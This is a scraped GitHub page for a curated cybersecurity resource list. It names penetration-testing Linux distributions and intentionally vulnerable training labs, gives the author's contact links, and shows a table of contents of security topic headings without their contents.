🌐 Subgraph OS - Secure Linux distro with hardened kernel.
🧑‍💻 ArchStrike - Arch Linux repository for security tools.
🧑‍💻 Fedora Security Lab - Fedora spin for security auditing.
🧑‍💻 SamuraiWTF - Web application penetration testing environment.
🔎 Cyborg Hawk - Security distro for penetration testing.
🧑‍💻 Matriux Krypton - Debian-based security distribution.
🔥 NodeZero - Ubuntu-based penetration testing OS.
🧑‍💻 GnackTrack - Linux live distribution for penetration testing.
🛡️ SELKS - Suricata-based IDS/IPS platform.
🕵️‍♂️ PentestBox - Penetration testing toolkit for Windows.

Cybersecurity Labs

🌐 WebVerse Labs - Hands-on hacking labs, challenges, learning paths, and WebRanges.
🐉 XSS Labs - xss-labs for learning web application security.
🦜 Vulnerable Shopping Cart - A deliberately insecure e-commerce application.
🧑‍💻 Vulnerable Login - Vulnerable login form designed for security education and training.
🕵️ Open Redirect - An educational web application demonstrating open redirect vulnerabilities.

Contact Details

Website - https://yogsec.net Email - admin@yogsec.net LinkTree - https://linktr.ee/abhinavsingwal Bug Bounty Tips (Telegram Channel) - https://t.me/bugbountyusa LinkedIn - https://www.linkedin.com/in/abhinavsingwal/ Threads - https://www.threads.com/@abhinav_singwal X - https://x.com/yogsec

Name		Name	Last commit message	Last commit date
.github		.github
Supporters		Supporters
LICENSE		LICENSE
README.md		README.md

Latest commit

History

Folders and files

Repository files navigation

Hacking Tools

Supporters

Table of Contents

Top 10 Tools of 2026

Cybersecurity Professional Development Resources

Cyber Security Course

Cybersecurity Certificate Program

Cybersecurity Bootcamp

Information Gathering

Dark Web & OSINT

Threat Intelligence

Wireless Attacks

Telecom & 5G Security

Satellite & RF Security

Network Security

Sniffing & Spoofing

Vulnerability Analysis

Web Application Analysis

Mobile Security

Cloud Security

Container & Kubernetes Security

Supply Chain Security

Password Attacks

Social Engineering Tools

Exploitation Tools

Binary Exploitation

Reverse Engineering

Reverse Engineering Hardware

Hardware Hacking

IoT & Embedded Security

Automotive Security

ICS/SCADA Security

Game Hacking

Malware Development

Malware Analysis

AI & Machine Learning Security

Red Team / Offensive

Purple Team

Blue Team / Defense

Threat Hunting

Intrusion Detection & Prevention

SIEM & Log Analysis

Firewall & Perimeter Security

Endpoint Security

Incident Response

Wireless Attacks

Forensics Tools

Cryptography & Encryption

Privacy & Anonymity

Stress Testing

Compliance & Auditing

Risk Management

Security Awareness & Training

CTF & Wargames

Security Research & Blogs

Penetration Testing Distributions

Scripting & Automation

Reporting Tools

Miscellaneous

Cybersecurity Labs

Contact Details

About

Topics

Resources

Stars

Watchers

Forks

Releases

Sponsor this project

Packages

Contributors